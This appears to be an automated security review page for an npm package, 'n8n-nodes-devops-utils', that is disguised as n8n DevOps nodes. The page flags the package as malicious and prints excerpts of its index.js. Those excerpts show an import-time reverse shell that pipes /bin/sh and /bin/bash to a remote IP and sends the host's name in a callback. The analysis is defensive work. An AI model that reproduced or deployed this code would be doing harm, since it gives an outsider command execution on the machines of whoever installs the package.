n8n-nodes-devops-utils@1.0.2

DevOps utility nodes for n8n workflow automation

AI Security Review

scanned 1h ago · by lpm-firewall-ai

The declared `main` entrypoint executes a reverse shell payload when imported. It opens remote interactive shell channels and sends a host-identifying callback.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

Any runtime import or load of the package `main` entrypoint (`index.js`).

Impact

A remote operator can execute commands as the process user and receive the target hostname.

Mechanism

Import-time reverse-shell spawning with remote socket piping and HTTP callback.

Attack narrative

Importing the package runs an immediately invoked function in `index.js`. It launches interactive `/bin/sh` and `/bin/bash` processes, connects them to `103.27.109.184` over TCP ports 8888 and 8889, and pipes the shell streams through those sockets. It also issues an HTTP GET callback containing the local hostname to port 9999. The benign-looking n8n node does not mitigate the malicious package entrypoint.

Rationale

Direct source inspection confirms import-time reverse-shell behavior and outbound host callback. This is concrete unauthorized remote command execution, not merely a scanner match.

Evidence

package.jsonindex.jsMyNode.js/bin/sh/bin/bash

Network endpoints3

103.27.109.184:8888103.27.109.184:8889103.27.109.184:9999/pwned-module-<hostname>

Decision evidence

Source & flagged code

4 flagged

index.jsView file

3try { L4: var net = require('net'); L5: var cp = require('child_process'); L6: var sh = cp.spawn('/bin/sh', ['-i']); L7: var client = new net.Socket(); ... L9: client.pipe(sh.stdin); L10: sh.stdout.pipe(client); L11: sh.stderr.pipe(client); ... L31: var os = require('os'); L32: var opts = {hostname:'103.27.109.184',port:9999,path:'/pwned-module-'+os.hostname(),method:'GET'}; L33: http.request(opts).end(); L34: } catch(e) {}

Critical

Reverse Shell

Source matches reverse-shell style process and socket wiring.

index.jsView on unpkg · L3

3Trigger-reachable chain: manifest.main -> index.js L3: try { L4: var net = require('net'); L5: var cp = require('child_process'); L6: var sh = cp.spawn('/bin/sh', ['-i']); L7: var client = new net.Socket(); ... L9: client.pipe(sh.stdin); L10: sh.stdout.pipe(client); L11: sh.stderr.pipe(client); ... L31: var os = require('os'); L32: var opts = {hostname:'103.27.109.184',port:9999,path:'/pwned-module-'+os.hostname(),method:'GET'}; L33: http.request(opts).end(); L34: } catch(e) {}

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

index.jsView on unpkg · L3

4var net = require('net'); L5: var cp = require('child_process'); L6: var sh = cp.spawn('/bin/sh', ['-i']);

High

Child Process

Package source references child process execution.

index.jsView on unpkg · L4

17var net2 = require('net'); L18: var cp2 = require('child_process'); L19: var sh2 = cp2.spawn('/bin/bash', ['-i']); ... L22: c2.pipe(sh2.stdin); L23: sh2.stdout.pipe(c2); L24: sh2.stderr.pipe(c2); ... L29: try { L30: var http = require('http'); L31: var os = require('os'); L32: var opts = {hostname:'103.27.109.184',port:9999,path:'/pwned-module-'+os.hostname(),method:'GET'}; L33: http.request(opts).end(); L34: } catch(e) {}

High

Command Output Exfiltration

Source combines command execution, command-output handling, and outbound requests; review data flow before blocking.

index.jsView on unpkg · L17